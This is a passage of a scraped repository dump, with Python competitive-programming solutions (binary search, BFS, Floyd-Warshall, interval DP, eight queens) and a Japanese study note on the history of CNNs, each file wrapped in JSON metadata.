[10**9+1]\n# q = int(input())\n# T = list(map(int, input().split()))\n# count = 0\n#\n# for t in T:\n# index = bisect_left(S, t)\n# if t == S[index]: count += 1\n#\n# print(count)\n" }, { "alpha_fraction": 0.44859811663627625, "alphanum_fraction": 0.4719626307487488, "avg_line_length": 16.1200008392334, "blob_id": "32a20e259b5a1ec22836f63075315062aba5299f", "content_id": "ee126992901c9442cbf8c2fe6050ff8702a909f7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 428, "license_type": "no_license", "max_line_length": 37, "num_lines": 25, "path": "/examples/beginner/ABC081B.py", "repo_name": "atsss/nyu_deep_learning", "src_encoding": "UTF-8", "text": "# N = int(input())\n# A = list(map(int, input().split()))\n#\n# count = 0\n# flag = True\n#\n# while flag:\n# for index, a in enumerate(A):\n# if a % 2 == 0:\n# A[index] = a / 2\n# else:\n# flag = False\n# if flag: count += 1\n#\n# print(count)\n\nN = int(input())\nA = list(map(int, input().split()))\ncount = 0\n\nwhile all(a % 2 == 0 for a in A):\n A = [a/2 for a in A]\n count += 1\n\nprint(count)\n" }, { "alpha_fraction": 0.4533333480358124, "alphanum_fraction": 0.48533332347869873, "avg_line_length": 18.736841201782227, "blob_id": "be94fc955a9e2084d3b15c0c5c0b323aa3b1e686", "content_id": "14b7c220a617a3e2a9bee8e7bdea09badaab87a0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 375, "license_type": "no_license", "max_line_length": 45, "num_lines": 19, "path": "/examples/intermediate/02_advanced_all_enumeration/006.py", "repo_name": "atsss/nyu_deep_learning", "src_encoding": "UTF-8", "text": "from itertools import product\n\nN = int(input())\nS = list(map(int, input().split()))\n\nans = 0\n\n# faster than combinations of S\n# combinations: O(N^2), product: O(NK) K=10^3\nfor q in product(range(10),repeat=3):\n i = 0\n for s in S:\n if s==q[i]:\n if i==2:\n ans += 1\n break\n else:\n i+=1\nprint (ans)\n" }, { "alpha_fraction": 0.6084960103034973, "alphanum_fraction": 0.6165327429771423, "avg_line_length": 19.738094329833984, "blob_id": "be5be4c66b3d59f4450cb8e0e684c693baf7762d", "content_id": "14edb1b5b294eef47409135d3545d4de40435588", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 871, "license_type": "no_license", "max_line_length": 58, "num_lines": 42, "path": "/examples/hackerrank/greedy/01.py", "repo_name": "atsss/nyu_deep_learning", "src_encoding": "UTF-8", "text": "import math\nimport os\nimport random\nimport re\nimport sys\n# from itertools import combinations\n\n#\n# Complete the 'minimumAbsoluteDifference' function below.\n#\n# The function is expected to return an INTEGER.\n# The function accepts INTEGER_ARRAY arr as parameter.\n#\n\ndef minimumAbsoluteDifference(arr):\n # ans = float('inf')\n # for e1, e2 in combinations(arr, 2):\n # ans = min(ans, abs(e1-e2))\n # return ans\n arr.sort()\n ans = float('inf')\n prev = arr[0]\n\n for current in arr[1:]:\n ans = min(ans, current - prev)\n prev = current\n\n return ans\n\nif __name__ == '__main__':\n # fptr = open(os.environ['OUTPUT_PATH'], 'w')\n\n n = int(input().strip())\n\n arr = list(map(int, input().rstrip().split()))\n\n result = minimumAbsoluteDifference(arr)\n print(result)\n\n # fptr.write(str(result) + '\\n')\n #\n # fptr.close()\n" }, { "alpha_fraction": 0.52907395362854, "alphanum_fraction": 0.549174427986145, "avg_line_length": 17.573333740234375, "blob_id": "18be203571023022fd5adcddf618fdc6f3379dfa", "content_id": "c9ffa22f64ef3c4e15106fc36599cb69ea821ffe", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1445, "license_type": "no_license", "max_line_length": 49, "num_lines": 75, "path": "/examples/intermediate/05_binary_search/020.py", "repo_name": "atsss/nyu_deep_learning", "src_encoding": "UTF-8", "text": "import bisect\nN = int(input())\nA = list(map(int, input().split()))\nB = list(map(int, input().split()))\nC = list(map(int, input().split()))\n\nA.sort()\nB.sort()\nC.sort()\nans = 0\n\nfor b in B:\n a = bisect.bisect_left(A, b) # 挿入点はどの同じ値よりも左\n c = bisect.bisect_right(C, b) # 挿入点はどの同じ値よりも右\n ans += a * (len(C)-c)\n\nprint (ans)\n\n# My answer\n# 2021/04/24\n# from bisect import bisect_left, bisect_right\n#\n# N = int(input())\n# A = list(map(int, input().split()))\n# B = list(map(int, input().split()))\n# C = list(map(int, input().split()))\n#\n# A.sort()\n# C.sort()\n# ans = 0\n#\n# for b in B:\n# ia = bisect_left(A, b)\n# ic = bisect_right(C, b)\n# ans += ia * (N-ic)\n#\n# print(ans)\n\n# 2021/04/30\n# from bisect import bisect_left, bisect_right\n#\n# N = int(input())\n# A = list(map(int, input().split()))\n# B = list(map(int, input().split()))\n# C = list(map(int, input().split()))\n#\n# A.sort()\n# C.sort()\n# ans = 0\n#\n# for b in B:\n# ai = bisect_left(A, b)\n# ci = bisect_right(C, b)\n# ans += ai * (N-ci)\n#\n# print(ans)\n\n# 2021/06/10\n# from bisect import bisect_left, bisect_right\n#\n# N = int(input())\n# A = list(map(int, input().split()))\n# B = list(map(int, input().split()))\n# C = list(map(int, input().split()))\n# ans = 0\n#\n# A.sort()\n# C.sort()\n#\n# for b in B:\n# a_count = bisect_left(A, b)\n# c_count = N - bisect_right(C, b)\n# ans += a_count * c_count\n#\n# print(ans)\n" }, { "alpha_fraction": 0.551898717880249, "alphanum_fraction": 0.5620253086090088, "avg_line_length": 16.954545974731445, "blob_id": "125d8ebc8d2222cf283d7aa10c2325e7c0b38bc8", "content_id": "d5d6f8fddf7a97b5cff1de674289fab30bbe69dd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 395, "license_type": "no_license", "max_line_length": 40, "num_lines": 22, "path": "/examples/contests/202/C.py", "repo_name": "atsss/nyu_deep_learning", "src_encoding": "UTF-8", "text": "from collections import Counter\n\nN = int(input())\nA = list(map(int, input().split()))\nB = list(map(int, input().split()))\nC = list(map(int, input().split()))\n\nans = 0\n# for i in range(N):\n# for j in range(N):\n# if A[i] == B[C[j]-1]: ans += 1\n#\n# print(ans)\n\nmemo = [B[c-1] for c in C]\nst = set(memo)\ncounter = Counter(memo)\n\nfor a in A:\n if a in st: ans += counter[a]\n\nprint(ans)\n" }, { "alpha_fraction": 0.4207161068916321, "alphanum_fraction": 0.4936061501502991, "avg_line_length": 18.549999237060547, "blob_id": "43424278efc53e879ea81f59471271f90e9ca7a2", "content_id": "8f328059a7299ffa9a82f2ca48253d2d2f990a23", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 782, "license_type": "no_license", "max_line_length": 77, "num_lines": 40, "path": "/examples/intermediate/02_advanced_all_enumeration/005.py", "repo_name": "atsss/nyu_deep_learning", "src_encoding": "UTF-8", "text": "A, B, C, X, Y = map(int, input().split())\n\nans = 10**10\nfor i in range(10**5+1):\n ans = min(ans, A*max(X-i, 0) + B*max(Y-i, 0) + 2*C*i)\n\nprint(ans)\n\n# My answer\n# 2021/04/21\n# A, B, C, X, Y = map(int, input().split())\n#\n# ans = 10**10\n# loop = 10**5 + 1\n#\n# for i in range(loop): ans = min(ans, A*max(X-i, 0) + B*max(Y-i, 0) + C*2*i)\n#\n# print(ans)\n\n# 2021/04/30\n# A, B, C, X, Y = map(int, input().split())\n# ans = float('inf')\n#\n# for i in range(10**5+1):\n# price = max(0, X-i)*A + max(0, Y-i)*B + 2*i*C\n# ans = min(ans, price)\n#\n# print(ans)\n\n# 2021/05/21\n# A, B, C, X, Y = map(int, input().split())\n#\n# c_max = max(X, Y)\n# ans = float('inf')\n#\n# for i in range(c_max + 1):\n# price = A*max(0, X-i) + B*max(0, Y-i) + C*2*i\n# ans = min(ans, price)\n#\n# print(ans)\n" }, { "alpha_fraction": 0.48626816272735596, "alphanum_fraction": 0.5002692341804504, "avg_line_length": 24.094594955444336, "blob_id": "7d9d5d280b4b176040f167b4ed7a8245f3499da8", "content_id": "5647e618d01259122f0cd30ebb716da27c5cdf70", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1917, "license_type": "no_license", "max_line_length": 74, "num_lines": 74, "path": "/examples/intermediate/14_warshall_floyd_algorithm/060.py", "repo_name": "atsss/nyu_deep_learning", "src_encoding": "UTF-8", "text": "N, M = map(int, input().split())\nINF = float('inf')\ncost = [[INF]*N for _ in range(N)]\nfor n in range(N):\n cost[n][n] = 0\nfor m in range(M):\n a, b, t = map(int, input().split())\n cost[a][b] = t\n\nfor i in range(N): # 中継点\n for j in range(N): # 始点\n for k in range(N): # 終点\n cost[j][k] = min(cost[j][i]+cost[i][k], cost[j][k])\n\nfor n in range(N):\n if cost[n][n] < 0:\n print ('NEGATIVE CYCLE')\n exit()\n\nfor c in cost:\n c = [str(i).replace('inf','INF') for i in c]\n print(' '.join(c))\n\n# My answer\n# 2021/04/26\n# V, E = map(int, input().split())\n# adj = [tuple(map(int, input().split())) for _ in range(E)]\n#\n# INF = 10**10\n# dists = [[INF]*V for _ in range(V)]\n#\n# for v in range(V): dists[v][v] = 0\n# for s, t, d in adj: dists[s][t] = d\n#\n# for k in range(V):\n# for i in range(V):\n# for j in range(V):\n# dists[i][j] = min(dists[i][k]+dists[k][j], dists[i][j])\n#\n# for i, line in enumerate(dists):\n# if any([d < 0 for d in line]): # 閉経路の理解を間違っている\n# print('NEGATIVE CYCLE')\n# exit()\n#\n# for j, element in enumerate(line):\n# if element == INF: dists[i][j] = 'INF'\n# else: dists[i][j] = str(dists[i][j]) # int を join 出来ないので str にする\n#\n# for line in dists:\n# print(\" \".join(line))\n\n# 2021/05/02\n# V, E = map(int, input().split())\n#\n# INF = float('INF')\n# dists = [[INF] * V for _ in range(V)]\n#\n# for i in range(V): dists[i][i] = 0\n# for _ in range(E):\n# s, t, d = map(int, input().split())\n# dists[s][t] = d\n#\n# for i in range(V):\n# for j in range(V):\n# for k in range(V):\n# dists[i][j] = min(dists[i][j], dists[i][k]+dists[k][j])\n#\n# for i in range(V):\n# if dists[i][i] < 0:\n# print('NEGATIVE CYCLE')\n# exit()\n#\n# for line in dists:\n# print(' '.join(map(str, line)).replace('inf','INF'))\n" }, { "alpha_fraction": 0.612500011920929, "alphanum_fraction": 0.637499988079071, "avg_line_length": 15, "blob_id": "f2022fafe1953946e2ce0cde1560341014dda554", "content_id": "45ce6783022d25865a24e7a3671d0bf08a5f2f34", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 80, "license_type": "no_license", "max_line_length": 29, "num_lines": 5, "path": "/algorithm/greatest_common_divisor.py", "repo_name": "atsss/nyu_deep_learning", "src_encoding": "UTF-8", "text": "import math\na,b=map(int, input().split())\nf=math.gcd(a,b)\nf2=a*b//f\nprint(f,f2)\n" }, { "alpha_fraction": 0.302325576543808, "alphanum_fraction": 0.5348837375640869, "avg_line_length": 42, "blob_id": "84d2474b5634e5b5082a992ca51c641978a560fc", "content_id": "2a0771a7a5ffffde929b9286a201eff0919e9eba", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 86, "license_type": "no_license", "max_line_length": 74, "num_lines": 2, "path": "/algorithm/odd.py", "repo_name": "atsss/nyu_deep_learning", "src_encoding": "UTF-8", "text": "odd=[i for i in range(100) if i%2==1] #[1, 3, 5, 7, 9, 11, 13, 15, 17, 19]\nprint(odd)\n" }, { "alpha_fraction": 0.45957010984420776, "alphanum_fraction": 0.4943705201148987, "avg_line_length": 18.540000915527344, "blob_id": "7b5a1476f68b8f1303831a4c1c6ba61edc77dac7", "content_id": "e549eae45c94b2d75e6f8ca2b4ab5ab39f757214", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2102, "license_type": "no_license", "max_line_length": 83, "num_lines": 100, "path": "/examples/intermediate/07_breadth_first_search/028.py", "repo_name": "atsss/nyu_deep_learning", "src_encoding": "UTF-8", "text": "import queue\nN = int(input())\n\nadj = [[]for i in range(N+1)]\ndepth = [-1] * (N+1)\nfor n in range(1,N+1):\n V = list(map(int,input().split()))\n for v in V[2:]:\n adj[n].append(v)\n\nq = queue.Queue()\nq.put((1,0)) # 番号、深さ\nwhile(not q.empty()):\n x, d = q.get()\n if depth[x] != -1:\n continue\n depth[x] = d\n for next in adj[x]:\n if depth[next] == -1:\n q.put((next,d+1))\n\nfor i in range(1,N+1):\n print(i,depth[i])\n\n# My answer\n# 2021/04/25\n# 写経\n# import queue\n#\n# n = int(input())\n# adj = []\n#\n# for i in range(n):\n# V = list(map(int, input().split()))\n# adj.append(V[2:])\n#\n# depth = [-1]*n\n# q = queue.Queue()\n# q.put((0,0)) # index と vertex を入力とプログラミングのどちらに合わせるべきか\n#\n# while not q.empty():\n# v, d = q.get()\n#\n# if depth[v] != -1: continue\n#\n# depth[v] = d\n# for next in adj[v]:\n# if depth[next-1] == -1:\n# q.put((next-1, d+1))\n#\n# for v, d in enumerate(depth, 1): print(v, d)\n\n# 2021/04/30\n# import queue\n#\n# n = int(input())\n# adj = []\n# for _ in range(n):\n# V = list(map(int, input().split()))\n# adj.append(V[2:])\n#\n# distance = [-1] * n\n# q = queue.Queue()\n# q.put((0, 0))\n#\n# while not q.empty():\n# v, d = q.get()\n# if distance[v] != -1: continue # この1文がないと、キューの中で待っている間に最短距離の計算が終わった頂点を上書いてしまう\n# else: distance[v] = d\n#\n# for nxt in adj[v]:\n# if distance[nxt-1] == -1: q.put((nxt-1, d+1))\n#\n# for i in range(n):\n# print(str(i+1)+' '+str(distance[i]))\n\n# 2021/06/11\n# import queue\n#\n# N = int(input())\n# adj = []\n# for _ in range(N):\n# a = list(map(int, input().split()))\n# adj.append(a[2:])\n#\n# dists = [-1]*N\n# q = queue.Queue()\n# q.put((0, 0))\n#\n# while not q.empty():\n# v, d = q.get()\n# if dists[v] != -1: continue\n#\n# dists[v] = d\n# for nxt in adj[v]:\n# if dists[nxt-1] != -1: continue\n# q.put((nxt-1, d+1))\n#\n# for i in range(N):\n# print(' '.join(map(str, [i+1, dists[i]])))\n" }, { "alpha_fraction": 0.4361370801925659, "alphanum_fraction": 0.475597083568573, "avg_line_length": 22.487804412841797, "blob_id": "f1dc2b5ec3ac6a14ff6f4e5d23c6b73550085021", "content_id": "d463dd765c79333a98825062a4564f7556091e24", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1061, "license_type": "no_license", "max_line_length": 96, "num_lines": 41, "path": "/examples/intermediate/10_range_dp/046.py", "repo_name": "atsss/nyu_deep_learning", "src_encoding": "UTF-8", "text": "# https://ttrsq.exblog.jp/24318687/\n\nINF = 10**10\nN = int(input())\ndp = [[INF]*N for _ in range(N)]\nR = []\nfor n in range(N):\n r, c = map(int,input().split())\n R.append(r)\nR.append(c)\n\nfor i in range(N):\n dp[i][i] = 0 # 対角成分すなわち、行列積Miを計算するコストは0である\n\nfor l in range(1,N): # iとjの差分\n for i in range(N-l):\n j = i+l\n for k in range(i,j):\n # cost(左側行列積) + cost(右側行列積) + 行列計算のコスト\n dp[i][j] = min(dp[i][j], dp[i][k]+dp[k+1][j]+R[i]*R[k+1]*R[j+1]) # 初回はR[0]*R[1]*R[2]\nprint (dp[0][-1])\n\n# My answer\n# 2021/05/12\n# n = int(input())\n# R = []\n# for _ in range(n):\n# r, c = map(int, input().split())\n# R.append(r)\n# R.append(c)\n#\n# dp = [[float('inf')] * n for _ in range(n)]\n# for i in range(n): dp[i][i] = 0\n#\n# for d in range(1, n):\n# for i in range(n-d):\n# j = i+d\n# for k in range(i, j):\n# dp[i][j] = min(dp[i][j], dp[i][k] + dp[k+1][j] + R[i] * R[k+1] * R[j+1])\n#\n# print(dp[0][-1])\n" }, { "alpha_fraction": 0.7599999904632568, "alphanum_fraction": 0.7599999904632568, "avg_line_length": 36.5, "blob_id": "53b7a594cdc73a5e05029570a24985827ca7869a", "content_id": "0b727454e37fa63530251a4e31ace887106a912b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 75, "license_type": "no_license", "max_line_length": 52, "num_lines": 2, "path": "/README.md", "repo_name": "atsss/nyu_deep_learning", "src_encoding": "UTF-8", "text": "# Deep Learning Notes\n> https://atcold.github.io/pytorch-Deep-Learning/ja/\n" }, { "alpha_fraction": 0.4221022129058838, "alphanum_fraction": 0.49729955196380615, "avg_line_length": 16.442028045654297, "blob_id": "b930c6ed32c4eae55638748602e20fb02782dd55", "content_id": "889903f689b2c0d8bf83a9d6518bd996aa270c0a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2503, "license_type": "no_license", "max_line_length": 79, "num_lines": 138, "path": "/examples/intermediate/05_binary_search/022.py", "repo_name": "atsss/nyu_deep_learning", "src_encoding": "UTF-8", "text": "def cost(x):\n return x + P * pow(2,-(x/1.5))\n\nP = float(input())\nleft = 0\nright = 10**18\n\nfor i in range(10**5):\n m1 = (2*left + right) / 3\n m2 = (left + 2*right) / 3\n if cost(m1) < cost(m2):\n right = m2\n else:\n left = m1\n\nprint(cost(left))\n\n# My answer\n# 2021/04/24\n# import matplotlib.pyplot as plt\n# import numpy as np\n#\n# P = 1000000000000000000\n# N = 50\n# xmin = 0\n# xmax = 200\n#\n# def f(x):\n# return x + P/(2**(x/1.5))\n#\n# p = np.linspace(xmin, xmax, N)\n# q = f(p)\n# plt.plot(p, q)\n# plt.show() # グラフの形状が下に凸になっているか確かめる\n#\n# P = float(input())\n# loop = 10**5\n# left = 0\n# right = 10**18\n#\n# def f(x):\n# # return x + P/(2**(x/1.5)) # 複雑な指数関数は pow で処理する\n# return x + P * pow(2,-(x/1.5))\n#\n# for _ in range(loop):\n# x1 = left+(right-left)/3\n# x2 = left+2*(right-left)/3\n#\n# if f(x1) > f(x2): left = x1\n# else: right = x2\n#\n# print(f(left))\n\n# 2021/04/30\n# # import matplotlib.pyplot as plt\n# # import numpy as np\n# #\n# # P = 10 ** 3\n# # N = 100\n# # xmin = 0\n# # xmax = 200\n# #\n# # def f(x):\n# # return x + P*pow(2, -x/1.5)\n# #\n# # p = np.linspace(xmin, xmax, N)\n# # q = f(p)\n# # plt.plot(p,q)\n# # plt.show()\n#\n# P = float(input())\n# loop = 10**5\n# left_edge = 0\n# right_edge = 10**5\n#\n# def f(x):\n# return x + P*pow(2, -x/1.5)\n#\n# for _ in range(loop):\n# left = left_edge + (right_edge-left_edge)/3\n# right = left_edge + 2*(right_edge-left_edge)/3\n#\n# if f(left) > f(right): left_edge = left # f(right)<f(left) にしないとタイムアウトになる\n# else: right_edge = right\n#\n# print(f(left_edge))\n\n# 2021/05/06\n# # import matplotlib.pyplot as plt\n# # import numpy as np\n# #\n# # def f(x):\n# # return x + P * pow(2, -x/1.5)\n# #\n# # P = 100\n# # mx = 200\n# # mn = 0\n# # N = 100\n# #\n# # p = np.linspace(mn, mx, N)\n# # q = f(p)\n# # plt.plot(p,q)\n# # plt.show()\n#\n# P = float(input())\n#\n# def f(x): return x + P * pow(2, -x/1.5)\n#\n# left = 0\n# right = 10**5\n#\n# for _ in range(10**5):\n# m1 = left + (right-left)/3\n# m2 = left + 2*(right-left)/3\n# if f(m1) < f(m2):\n# right = m2\n# else:\n# left = m1\n#\n# print(f(left))\n\n# 2021/05/15\n# P = float(input())\n# loop = 10**5\n# left = 0\n# right = 10**5\n#\n# def f(x):\n# return x + P * pow(2, -x/1.5)\n#\n# for _ in range(loop):\n# m1 = left + (right-left)/3\n# m2 = left + (right-left)*2/3\n#\n# if f(m1) > f(m2): left = m1\n# else: right = m2\n#\n# print(f(left))\n" }, { "alpha_fraction": 0.5297157764434814, "alphanum_fraction": 0.594315230846405, "avg_line_length": 26.64285659790039, "blob_id": "8aaa8fb9f35ae74c9e5cc29a5add52da88213750", "content_id": "3bbed089393ca14db1f47df919d2b663aa47ae23", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 563, "license_type": "no_license", "max_line_length": 72, "num_lines": 14, "path": "/algorithm/io.py", "repo_name": "atsss/nyu_deep_learning", "src_encoding": "UTF-8", "text": "n=int(input()) #数値入力 「N」だけの入力のとき\na,b=map(int, input().split()) #複数数値入力 「A B」みたいなスペース空いた入力のとき\nc=list(map(int, input().split())) #リスト入力 「a1 a2 a3 ...」みたいな配列のような入力のとき\nprint(n, a, b, c)\n\na=100\nb=0.987654321\nprint('{0:06d}-{1:6f}'.format(a,b)) # 0埋めのときの出力\n#f-string\na=123\nprint(f'test {a} desu')\n\nprint(*c) #リスト出力\nfor i in [['#','.','#'],['#','#','#']]:print(*i, sep='') #二次元リストで間を詰めたもの\n" }, { "alpha_fraction": 0.47065216302871704, "alphanum_fraction": 0.48804348707199097, "avg_line_length": 22.58974266052246, "blob_id": "c4d437d62d56548fa0db1a3675489e5b6a996c78", "content_id": "5a996aadff0a07348cce55b01b705a11cea1cb97", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4782, "license_type": "no_license", "max_line_length": 101, "num_lines": 195, "path": "/examples/intermediate/04_permutation_all_enumeration/017.py", "repo_name": "atsss/nyu_deep_learning", "src_encoding": "UTF-8", "text": "from itertools import permutations\nK = int(input())\nN = 8\nRC = []\nfor k in range(K):\n r, c = map(int,input().split())\n RC.append((r,c))\n\ndef diag(board): # 斜めの判定\n for i in range(2*N-1):\n sm = 0\n for j in range(i+1):\n if (i-j>=8 or j>=8):\n continue\n sm += board[i-j][j]\n if sm > 1:\n return False\n return True\n\ndef judge(ls):\n board = [[0]*N for _ in range(N)]\n for r in range(N):\n c = ls[r]\n board[r][c] = 1\n for r, c in RC: # 指定された箇所にクイーンを置いているか判定\n if board[r][c] == 0:\n return False\n\n if not diag(board):\n return False\n\n if not diag(board[::-1]): # 反転\n return False\n return True\n\nfor ls in permutations(range(N)):\n if judge(ls):\n for c in ls:\n s = ['.'] * N\n s[c] = 'Q'\n print (''.join(s))\n exit()\n\n# My answer\n# 2021/04/24\n# from itertools import permutations\n#\n# N = 8\n# k = int(input())\n# # queens = (tuple(map(int, input().split())) for _ in range(k)) # tuple を明記しないと generator オブジェクトになる\n# # queens = [tuple(map(int, input().split())) for _ in range(k)] # list はそのままで良い\n# queens = tuple(tuple(map(int, input().split())) for _ in range(k))\n# print(type(queens))\n#\n# def check_input_positions(generated_positions):\n# for r, c in queens:\n# if generated_positions[r] != c:\n# return False\n# return True\n#\n# def check_cross(board): # 理解不足\n# for i in range(2*N-1):\n# sm = 0\n# for j in range(i+1):\n# if (i-j>=8 or j>=8):\n# continue\n# sm += board[i-j][j]\n# if sm > 1:\n# return False\n# return True\n#\n# positions = []\n#\n# for p in permutations(range(N)):\n# board = [[0]*N for _ in range(N)]\n#\n# # 親の for loop を continue するときは子の for loop は関数にした方がバグりにくい\n# if not check_input_positions(p): continue\n#\n# for r in range(N):\n# c = p[r]\n# board[r][c] = 1\n#\n# if check_cross(board) and check_cross(board[::-1]):\n# positions = p\n# break\n#\n# print(positions)\n# ans = []\n# for pos in positions:\n# dots = ['.']*N\n# dots[pos] = 'Q'\n# ans.append(dots)\n#\n# for line in ans: print(''.join(line))\n\n# 2021/04/30\n# from itertools import permutations\n#\n# k = int(input())\n# queens = [tuple(map(int, input().split())) for i in range(k)]\n# N = 8\n# ans = []\n#\n# def check_diagonal(mp): # 斜めの判定があやふや \n# for i in range(N):\n# sm = 0\n# column = row = i\n# sm += mp[row][column]\n#\n# while True:\n# row += 1\n# column -= 1\n# if 0 <= row <= N-1 and 0 <= column <= N-1:\n# print(row, column)\n# sm += mp[row][column]\n#\n# column = row = i\n# while True:\n# row -= 1\n# column += 1\n# if 0 <= row <= N-1 and 0 <= column <= N-1:\n# sm += mp[row][column]\n#\n# if sm > 1:\n# return False\n# return True\n#\n# def check_existing_queens(mp):\n# for r, c in queens:\n# if mp[r][c] == 0:\n# return False\n# return True\n#\n# for c in permutations(range(N)):\n# mp = [[0]*N for _ in range(N)]\n# for row, column in enumerate(c):\n# mp[row][column] = 1\n#\n# if not check_existing_queens(mp): continue\n#\n# if not check_diagonal(mp): continue\n# if not check_diagonal(mp[::-1]): continue\n#\n# print('4')\n# # print(mp)\n# ans = mp\n# break\n#\n# for line in ans:\n# dots = ['.']*N\n# for i in range(N):\n# if line[i] == 1: dots[i] = 'Q'\n# print(''.join(dots))\n\n# 2021/05/06\n# from itertools import permutations\n#\n# N = 8\n# k = int(input())\n# queens = [tuple(map(int, input().split())) for _ in range(k)]\n# ans = []\n#\n# def check_existing_queens(combination):\n# for r, c in queens:\n# if combination[r] != c:\n# return False\n# return True\n#\n# def check_diagonal(board):\n# for i in range(2*N-1):\n# sm = 0\n# for j in range(N):\n# if 0 <= i-j <= 7:\n# sm += board[i-j][j]\n# if sm > 1:\n# return False\n# return True\n#\n# for c in permutations(range(N)):\n# if not check_existing_queens(c): continue\n#\n# board = []\n# for i in range(N):\n# line = [0] * N\n# line[c[i]] = 1\n# board.append(line)\n#\n# if not check_diagonal(board): continue\n# if not check_diagonal(board[::-1]): continue\n#\n# ans = board\n#\n# for line in ans:\n# print(''.join(map(str, line)).replace('0', '.').replace('1', 'Q'))\n" }, { "alpha_fraction": 0.8796915411949158, "alphanum_fraction": 0.9005141258239746, "avg_line_length": 58.846153259277344, "blob_id": "0d575b55814e8de8c70849ef56d49c54da84cdf6", "content_id": "6e4e350c1b118bf444f3fff37b5d08156ba71917", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 10678, "license_type": "no_license", "max_line_length": 373, "num_lines": 65, "path": "/nyu/week01/02.md", "repo_name": "atsss/nyu_deep_learning", "src_encoding": "UTF-8", "text": "# CNNの進化と使用、そして、なぜ深層学習なのか?\n> https://atcold.github.io/pytorch-Deep-Learning/ja/week01/01-2/\n\n## CNNの進化\n動物の脳では、ニューロンは、特定の方向にあるエッジに反応します。同じ方向に反応するニューロンのグループは、視覚野全体に複製されています。\n\n福島(1982)は、2つの概念に基づいて、脳と同じように働くニューラルネット(NN)を構築しました。第一に、ニューロンは視覚野全体に複製されているということです。第二に、単純型細胞(方位選択ユニット)からの情報をプールする複雑型細胞が存在するということです。その結果、像のシフトは単純型細胞の活性化に変化を与えますが、複雑型細胞の統合的な活性化には影響を与えません(畳み込みプーリング)。\n\nLeCun(1990)は手書きの数字を認識するCNNの訓練に誤差逆伝播法を使いました。1992年のデモでは、任意のスタイルの数字を認識しています。エンドツーエンドで学習されたモデルを使って文字・パターン認識を行うことは、当時としては新しいことでした。それまでは、教師ありモデルの前に特徴量抽出器を置いていました。 これらの新しいCNNシステムは、画像中の複数の文字を同時に認識することができました。そのためには、CNN用の小さな入力ウィンドウを使って、画像全体をスワイプしました。それが活性化すれば、特定の文字が存在することを意味します。\n\nその後、このアイデアは、顔や人物の検出やセマンティックセグメンテーション(ピクセル単位の分類)にも応用されました。例としては、Hadsell (2009)やFarabet (2012)などがあります。これはやがて産業界でも普及し、車線追跡などの自動運転の応用場面でも使われるようになりました。\n\nCNNを訓練するための特殊なタイプのハードウェアは1980年代に話題になりましたが、その後は関心が下がり、今では再び人気が出てきています。\n\nディープラーニング(当時はこの用語は使われていませんでしたが)革命は2010年から2013年に始まりました。研究者たちは、大規模なCNNをより速く訓練するのに役立つアルゴリズムを発明することに焦点を当てていました。Krizhevsky(2012)は、それまで使われていたCNNよりもはるかに大規模なAlexNetを考え出し、GPUを使ってImageNet(130万サンプル)上で訓練しました。数週間学習を回した後、AlexNetは競合する当時最高のシステムの性能を大差で上回りました。具体的には、トップ5の誤差率は25.8%に対して16.4%でした。\n\nAlexNetの成功を見て,コンピュータビジョン(CV)コミュニティはCNNが機能することを確信しました。2011年から2012年までのCNNに言及した論文はすべてリジェクトされていましたが、2016年以降はほとんどのCV論文でCNNが使われています。\n\nこの数年の間に、使用される層の数は増加しています。LeNetは7層、AlexNetは12層、VGGは19層、ResNetは50層となっています。しかし、出力の計算に必要な演算数、モデルのサイズ、精度の間にはトレードオフがあります。そこで、ネットワークを圧縮して計算を高速化する方法が、現在の人気のトピックとなっています。\n\n## 深層学習と特徴抽出\n多層ネットワークが成功しているのは、自然のデータの構成的な構造を利用しているからです。構成的な階層では、ある階層のオブジェクトの組み合わせが次の階層のオブジェクトを形成します。この階層を多層として模倣し、ネットワークに適切な特徴の組み合わせを学習させると、いわゆるディープラーニングアーキテクチャが得られます。このように、ディープラーニングネットワークは階層的な性質を持っています。\n\nディープラーニングアーキテクチャは、物体の周囲の正確なマスクの識別と生成から、物体の空間的特性の識別まで、コンピュータビジョンのタスクにおいて驚異的な進歩をもたらしました。マスクRCNNとRetinaNetアーキテクチャが、主にこのような進歩をもたらしました。 マスクRCNNは、個々のオブジェクトのセグメンテーション、すなわち、画像内の各オブジェクトのマスクを作成する際に使用されています。入力と出力は両方とも画像です。このアーキテクチャは、インスタンスセグメンテーション、すなわち、画像内の同じタイプの異なるオブジェクトを識別するためにも使用できます。Facebook AI 